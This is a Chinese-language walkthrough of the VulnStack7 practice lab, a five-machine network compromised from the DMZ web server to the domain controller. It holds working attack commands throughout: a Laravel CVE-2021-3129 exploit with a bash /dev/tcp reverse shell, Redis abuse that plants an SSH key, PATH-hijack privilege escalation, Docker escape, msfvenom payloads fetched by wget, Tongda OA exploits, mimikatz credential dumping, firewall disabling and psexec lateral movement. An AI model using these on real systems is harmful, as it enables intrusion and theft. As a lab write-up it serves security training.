VulnStack-紅日靶機七
概述
在 VulnStack7 是由 5 臺目標機器組成的三層網路環境,分別為 DMZ 區、第二層網路、第三層網路。涉及到的知識點也是有很多,redis未授權的利用、laravel的歷史漏洞、docker逃逸、隧道、代理的搭建、通達OA系統的歷史漏洞、msf的payload合理運用,kiwi、psexec、rdesktop等
DMZ 區域:
- 給 Ubuntu (Web 1) 配置了兩個網路卡,一個橋接可以對外提供服務;一個連線在 VMnet8 上連通第二層網路。
第二層網路區域:
- 給 Ubuntu (Web 2) 和 Windows 7 (PC 1)都配置了兩個網路卡,一個連線在 VMnet8 上連通第二層網路,一個連線在 VMnet14 上連通第三層網路。
第三次網路區域:
- 給 Windows Server 2012 和 Windows 7 (PC 2)都只配置了一個網路卡,一個連線在 VMnet14 上連通第三層網路。
拓補圖:
環境配置
三塊網路卡
VMnet8 是 NAT 網路卡為 192.168.52.0/24
網段
VMnet1 為 192.168.31.0/24
網段
VMnet14 為 192.168.93.0/24
網段
機器預設是配置好網路卡的
我們的攻擊機 kali 設定為橋接模式
配置完成,開啟機器
DMZ 區的 Ubuntu 需要啟動 redis 和 nginx 服務:
sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
第二層網路的 Ubuntu 需要啟動 docker 容器:
sudo service docker start
sudo docker start 8e172820ac78
第三層網路的 Windows 7 (PC 1)需要啟動通達 OA:
C:\MYOA\bin\AutoConfig.exe
域使用者資訊
域使用者賬戶和密碼如下:
- Administrator:Whoami2021
- whoami:Whoami2021
- bunny:Bunny2021
- moretz:Moretz2021
Ubuntu 1:
- web:web2021
Ubuntu 2:
- ubuntu:ubuntu
通達 OA 賬戶:
- admin:admin657260
開啟服務後,我們進行滲透測試
一、nmap 掃描
1)埠掃描
sudo nmap -sT --min-rate 10000 -p- 192.168.153.77 -o ports
Starting Nmap 7.93 ( https://nmap.org ) at 2024-11-09 13:38 CST
Nmap scan report for 192.168.153.77
Host is up (0.00080s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
81/tcp open hosts2-ns
6379/tcp open redis
MAC Address: 00:0C:29:34:E3:01 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.96 seconds
2)詳細資訊掃描
sudo nmap -sT -sV -sC -p22,80,81,6379 192.168.153.77 -o details
Nmap scan report for 192.168.153.77
Host is up (0.00083s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c32db2d3a05fdbbbf6aaa48e79ba3554 (RSA)
| 256 ceaebd38956e5ba639869dfd4953dee0 (ECDSA)
|_ 256 3a34c76d9dca4f217109fd5b566b0351 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: 404 Not Found
81/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Laravel
|_http-server-header: nginx/1.14.0 (Ubuntu)
6379/tcp open redis Redis key-value store 2.8.17
MAC Address: 00:0C:29:34:E3:01 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.91 seconds
3)預設指令碼掃描
sudo nmap --script=vuln -p22,80,81,6379 192.168.153.77 -o vuln
Starting Nmap 7.93 ( https://nmap.org ) at 2024-11-09 13:59 CST
Nmap scan report for 192.168.153.77
Host is up (0.00052s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
81/tcp open hosts2-ns
6379/tcp open redis
MAC Address: 00:0C:29:34:E3:01 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 577.64 seconds
二、web 滲透
80 埠是 404
81 埠是 laravel
看到 laravel 版本號是 8.29.0 php 版本 7.4.14
透過 google 找到了 CVE-2021-3129
git clone https://github.com/joshuavanderpoll/CVE-2021-3129.git
cd CVE-2021-3129
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
執行
python CVE-2021-3129.py --host http://192.168.153.77:81 --exec whoami --force
看到結果
為 www-data
使用者
反彈 shell
python CVE-2021-3129.py --force
_____ _____ ___ __ ___ _ _____ ___ ___
/ __\ \ / / __|_|_ ) \_ ) |__|__ / |_ ) _ \
| (__ \ V /| _|___/ / () / /| |___|_ \ |/ /_, /
\___| \_/ |___| /___\__/___|_| |___/_/___|/_/
https://github.com/joshuavanderpoll/CVE-2021-3129
Using PHPGGC: https://github.com/ambionics/phpggc
[?] Enter host (e.g. https://example.com/) : http://192.168.153.77:81/
[?] Would you like to use the previous working chain 'laravel/rce1' [Y/N] : n
[@] Starting the exploit on "http://192.168.153.77:81/"...
[@] Testing vulnerable URL "http://192.168.153.77:81/_ignition/execute-solution"...
[@] Searching Laravel log file path...
[•] Laravel seems to be running on a Linux based machine.
[√] Laravel log path: "/var/www/storage/logs/laravel.log".
[•] Laravel version found: "8.29.0".
[•] Use "?" for a list of all available actions.
[?] Please enter a command to execute : execute bash -c "bash -i >& /dev/tcp/192.168.153.37/4444 0>&1"
[@] Executing command "bash -c "bash -i >& /dev/tcp/192.168.153.37/4444 0>&1""...
[@] Generating payload...
[√] Generated 21 payloads.
[@] Trying chain laravel/rce1 [1/21]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[!] Exploit request returned status code 500. Expected 200.
Error: "file_get_contents(): stream filter (convert.quoted-printable-decode): invalid byte sequence"
[!] Failed converting payload.
[!] Failed execution of payload.
Error : file_get_contents(phar:///var/www/storage/logs/laravel.log): failed to open stream: internal corruption of phar "/var/www/storage/logs/laravel.log" (truncated entry)
[?] Would you like to try the next chain? [Y/N] : y
[@] Trying chain laravel/rce2 [2/21]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[√] Converted payload.
這裡執行到第二條鏈的時候可以看到有返回的 shell
看著機器名是一堆字母數字,可能是 docker 容器,檢驗一下
find / -name .dockerenv 2> /dev/null
看到 web 的環境就是在 docker 容器中的,而我們的許可權是 www-data
,這個許可權我們並不能完成 docker 逃逸。
要進行逃逸的話我們得提權,後續還要去判斷可不可以逃逸到物理機。這個操作的優先順序我們拍後,先去看 6379 的 redis 服務
三、redis 滲透
用 redis 客戶端連線
redis-cli -h 192.168.153.77
看到 redis 是存在未授權訪問的,用 redis 寫定時任務,獲取立足點
寫入 ssh_key
生成金鑰
ssh-keygen -t rsa
檢視
cat ~/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJobtOV/fL62xWHd7P4ukg0a+ck1gahYC5iX5OUUmCr8vBcvNCgUXHj7ICoW/6BIA4g8okb7Q4bWznDW00oi6UEgRcZZbDCKtNs9H5lf9+47LHQ3Z92W4KbYML7x9aSsMOXL8M/HqO5hL7B/gv6kHbtPNuiF3+y12kDAV3Ex5NAVjC1fK87YZnU8q92HOVOj3z5Lj5dMIc6P0c3RlqZTRy/rQNnyMkyTpuCImg02Gj3irYi2TqNZIk0ux4h8MiicmX9UNw9J6XUACPwYKohTuBQfvpPWfbs1hIKDDBfTRNa0rOHypfPW+BcQlCwXvLoq8xBxovKjo3dhcTr7Woos7oTpQwX/MNSJ0QF1D9YeT6o3zqvyiF3LvK2+fst8NSS3uHGAhbyNBaftZr4FBaZaaaExpMeLL4RmF+8cqOcsnKn7vBCeHbYnKEMgAvYaFE/WrO8fsVRtGgdFDJLyXluCJ5vme5h/AsFDMhxSMcXcW/HwsYmPpgkDFjAbTKdYZbzqU= kali@kali
寫入目標機器 (加\n 是換行符 ,防止垃圾資料干擾)
redis-cli -h 192.168.153.77
192.168.153.77:6379> set 0 "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJobtOV/fL62xWHd7P4ukg0a+ck1gahYC5iX5OUUmCr8vBcvNCgUXHj7ICoW/6BIA4g8okb7Q4bWznDW00oi6UEgRcZZbDCKtNs9H5lf9+47LHQ3Z92W4KbYML7x9aSsMOXL8M/HqO5hL7B/gv6kHbtPNuiF3+y12kDAV3Ex5NAVjC1fK87YZnU8q92HOVOj3z5Lj5dMIc6P0c3RlqZTRy/rQNnyMkyTpuCImg02Gj3irYi2TqNZIk0ux4h8MiicmX9UNw9J6XUACPwYKohTuBQfvpPWfbs1hIKDDBfTRNa0rOHypfPW+BcQlCwXvLoq8xBxovKjo3dhcTr7Woos7oTpQwX/MNSJ0QF1D9YeT6o3zqvyiF3LvK2+fst8NSS3uHGAhbyNBaftZr4FBaZaaaExpMeLL4RmF+8cqOcsnKn7vBCeHbYnKEMgAvYaFE/WrO8fsVRtGgdFDJLyXluCJ5vme5h/AsFDMhxSMcXcW/HwsYmPpgkDFjAbTKdYZbzqU= kali@kali\n\n\n"
OK
192.168.153.77:6379> config set dir /root/.ssh
OK
192.168.153.77:6379> config set dbfilename authorized_keys
OK
192.168.153.77:6379> save
OK
kali 上執行
ssh root@192.168.153.77
四、web 後續
我們已經知道透過 redis 的未授權訪問可以獲得目標機器的 root 許可權了。
但是我們在 web 滲透的時候,發現目標是 docker 容器,所以優先順序排後了,我們現在看看他能不能讓我們獲得目標機器的 shell
1)提權
find / -perm -4000 -type f 2> /dev/null
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/home/jobs/shell
/bin/mount
/bin/su
/bin/umount
發現了一個 /home/jobs/shell
檔案,應該是使用者自定義的,我們執行看看它具體幹了什麼事情
看樣子是 ps 命令的樣式
在同級目錄下還看到了 demo.c
的檔案
cat demo.c
#include<unistd.h>
void main()
{ setuid(0);
setgid(0);
system("ps");
}
看到他用 root 許可權執行了 ps 命令
我們可以用修改環境變數的方式進行提權
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
export PATH=/tmp:$PATH
看到系統的 ps 命令已經變成我們自定義的 ps 命令了
/home/jobs/shell
看到成功來到了 root 許可權
2)判斷 Docker 逃逸
cat /proc/1/status | grep Cap
CapInh: 0000003fffffffff
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
看 capeff 到是 0000003fffffffff
,很有可能是特權容器,嘗試進行逃逸
3)掛載逃逸
mkdir /.sys
mount /dev/sda1 /.sys
.sys
要掛載的目的目錄,可以任意命名,這裡我建立的是隱藏目錄
掛在完成後,我們進入 /.sys
目錄,就可以看到物理機的目錄,並擁有讀寫許可權
4)確定靶機的 ip
cat /.sys/etc/network/interfaces
auto eth0
iface eth0 inet static
address 192.168.52.20
netmask 255.255.255.0
gateway 192.168.52.2
dns-nameservers 192.168.52.2
auto eth1
iface eth1 inet static
address 192.168.93.10
netmask 255.255.255.0
看到這臺機器的 ip 是
192.168.52.20
,192.168.93.10
。而我們的 redis 服務的兩個 ip 是192.168.52.10
和192.168.153.77
應該是做了 nginx 反向代理
我們可以像 redis 滲透 一樣寫入 ssh_key 或者建立定時任務,來獲得物理機起的 shell
mkdir /.sys/root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJobtOV/fL62xWHd7P4ukg0a+ck1gahYC5iX5OUUmCr8vBcvNCgUXHj7ICoW/6BIA4g8okb7Q4bWznDW00oi6UEgRcZZbDCKtNs9H5lf9+47LHQ3Z92W4KbYML7x9aSsMOXL8M/HqO5hL7B/gv6kHbtPNuiF3+y12kDAV3Ex5NAVjC1fK87YZnU8q92HOVOj3z5Lj5dMIc6P0c3RlqZTRy/rQNnyMkyTpuCImg02Gj3irYi2TqNZIk0ux4h8MiicmX9UNw9J6XUACPwYKohTuBQfvpPWfbs1hIKDDBfTRNa0rOHypfPW+BcQlCwXvLoq8xBxovKjo3dhcTr7Woos7oTpQwX/MNSJ0QF1D9YeT6o3zqvyiF3LvK2+fst8NSS3uHGAhbyNBaftZr4FBaZaaaExpMeLL4RmF+8cqOcsnKn7vBCeHbYnKEMgAvYaFE/WrO8fsVRtGgdFDJLyXluCJ5vme5h/AsFDMhxSMcXcW/HwsYmPpgkDFjAbTKdYZbzqU= kali@kali" > /.sys/root/.ssh/authorized_keys
我們在 redis 192.168.153.77
伺服器當作跳板,連線這個 docker 物理機
5)搭建 ssh 隧道
在 redis 192.168.153.77
伺服器上同時按下 ~C
6)拿到 shell
用代理隧道連線
proxychains ssh root@192.168.52.20
但是它仍然讓我們輸入密碼,出現了 no mutual signature algorithm
,這是由於客戶端和伺服器之間沒有共享的簽名演算法導致的。
新增引數
proxychains ssh root@192.168.52.20 -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa
成功拿到 docker 物理機 192.168.52.20
的 shell
五、上線 msf
1)redis 伺服器上線
a)生成木馬
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.153.37 lport=4444 -f elf > payload.elf
在 kali 端啟動 http 服務
python -m http.server 80
在靶機端下載
wget http://192.168.153.37/payload.elf
chmod +x ./payload.elf
執行
成功上線
b)搭建內網路由
檢視網路卡網段
meterpreter > ipconfig
meterpreter > run autoroute -s 192.168.52.0/24
看到新增成功
2)docker 伺服器上線
a)生成木馬
msfvenom -p linux/x64/meterpreter/bind_tcp lhost=0.0.0.0 lport=4444 -f elf > docker.elf
上傳到 docker 物理機
proxychains scp -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -i ~/.ssh/id_rsa docker.elf root@192.168.52.20:/tmp/
看到 docker.elf
上傳成功
msf 監聽
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set rhost 192.168.52.20
rhost => 192.168.52.20
msf6 exploit(multi/handler) > run
看到成功上線
b)搭建內網路由
meterpreter > ipconfig
meterpreter > run autoroute -s 192.168.93.0/24
看到我們已經有了 192.168.52.0/24
和 192.168.93.0/24
兩個網段的路由了
六、內網掃描
對 192.168.52.0/24
和 192.168.93.0/24
兩個網段進行內網掃描
我們把 fscan 上傳到 docker 伺服器上,因為這個伺服器包含了兩個內網的網段
這裡可以使用 msf 的 meterpreter 的 upload 命令,也可以使用之前的 scp 命令,進行上傳
upload www/fscan ./fscan
在 docker 機器上執行
192.168.52.0/24 網段
./fscan -h 192.168.52.3-254
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 192.168.52.10 is alive
(icmp) Target 192.168.52.20 is alive
(icmp) Target 192.168.52.30 is alive
[*] Icmp alive hosts len is: 3
192.168.52.30:135 open
192.168.52.10:81 open
192.168.52.10:80 open
192.168.52.20:22 open
192.168.52.10:22 open
192.168.52.30:8080 open
192.168.52.20:8000 open
192.168.52.30:445 open
192.168.52.10:6379 open
192.168.52.30:139 open
[*] alive ports len is: 10
還有一些指紋漏洞相關的掃描資訊
192.168.93.0/24 網段
./fscan -h 192.168.93.3-254
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 192.168.93.10 is alive
(icmp) Target 192.168.93.20 is alive
(icmp) Target 192.168.93.30 is alive
(icmp) Target 192.168.93.40 is alive
[*] Icmp alive hosts len is: 4
192.168.93.30:88 open
192.168.93.20:8080 open
192.168.93.10:8000 open
192.168.93.30:445 open
192.168.93.30:139 open
192.168.93.30:135 open
192.168.93.40:445 open
192.168.93.20:445 open
192.168.93.40:139 open
192.168.93.40:3389 open
192.168.93.20:139 open
192.168.93.40:135 open
192.168.93.20:135 open
192.168.93.10:22 open
192.168.93.40:1080 open
[*] alive ports len is: 14
同樣有一些指紋和漏洞的掃描資訊
看到 192.168.52.30
和 192.168.93.20
都開起了 8080 埠,且都是通達 OA 的指紋,我們有理由懷疑這兩個 ip 是同一臺機器的
七、內網滲透
訪問一下,記得掛上代理,是我們在 docker 伺服器上用 ssh 搭建的隧道
發現兩個 ip 的通達 OA 是同一個頁面,發現他是 2020 年的版本,利用 google 搜尋相關漏洞
利用指令碼
Fake_user:https://github.com/NS-Sp4ce/TongDaOA-Fake-User
透過對 Fake_user 漏洞的利用,我們成功獲取到了管理員的 cookie,在瀏覽器裡替換 cookie
訪問
http://192.168.52.30:8080/general/index.php
看到登陸成功
看到通達 OA 的詳細版本為 11.3
找到了它的歷史漏洞:任意檔案上傳
找到利用指令碼
TongdaOA-exp:https://github.com/z1un/TongdaOA-exp
看到上傳了一個冰蠍指令碼
這裡我修改了它的 TongdaOA-exp 指令碼。我發現他在發現 fake_user 漏洞的時候,不能正確獲取 cookie。
我把上述 Fake_user 指令碼執行出來的 cookie 值替換到了 TongdaOA-exp 指令碼中
成功連線
看到 192.168.52.30
和 192.168.93.20
兩個 IP 就是本臺機器
網路測試
看到目標機器是出網的,直接用冰蠍上線到我們的CS,msf
我這裡是虛擬機器環境,沒有用到公網的伺服器,所以我是正向的木馬,上線msf
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=0.0.0.0 lport=4444 -f exe > payload.exe
利用冰蠍的檔案管理功能,上傳到目標機器的C:/Program Files/
目錄下,並執行
成功上線
sysinfo看到本windows機器是域內機器
八、橫向移動
用msf模組重新搭建socks代理,他會根據自己的路由而代理到目標ip
msf6 auxiliary(server/socks_proxy) > run
有第六步內網掃描,可知現在192.168.93.0/24
網段還有兩臺機器192.168.93.30
和192.168.93.40
兩臺機器
其中192.168.93.30
是域控主機
我們載入msf整合的mimikatz模快—kiwi
load kiwi
creds_all
看到了域管理員的hash和明文密碼
嘗試用administrator橫向移動
msf6 exploit(windows/smb/psexec) > set smbuser administrator
smbuser => administrator
msf6 exploit(windows/smb/psexec) > set smbpass Whoami2021
smbpass => Whoami2021
msf6 exploit(windows/smb/psexec) > set rhost 192.168.93.30
rhost => 192.168.93.30
msf6 exploit(windows/smb/psexec) > run
失敗了,應該是防火牆的問題,我們用IPC通道關閉防火牆
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.40 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall
成功上線域控
還剩一臺pc2, 看到PC2是開啟了3389遠端桌面管理服務的
proxychains rdesktop -d WHOAMIANONY -u administrator -p Whoami2021 192.168.93.40:3389
把木馬上傳到PC2上,在上線msf,此時域內機器全部上線到了msf
總結
首先透過redis的未授權拿到了初步的shell。
透過laravel的CVE-2021-3129,拿到了docker的www-data許可權,利用內部指令碼shell,劫持環境變數提權道了root,檢視網路配置檔案瞭解到redis和docker伺服器是兩臺機器。利用docker的特權,掛在物理機的目錄,寫入ssh的key拿到了docker伺服器的root許可權
對兩個網段進行內網掃描發現通達OA系統,利用Fake_user和檔案上傳漏洞,拿到了PC1伺服器的system許可權
利用msf整合的kiwi框架,抓取明文密碼,關閉防火牆後,用psexec橫向拿下域控
最後用rdesktop拿下PC2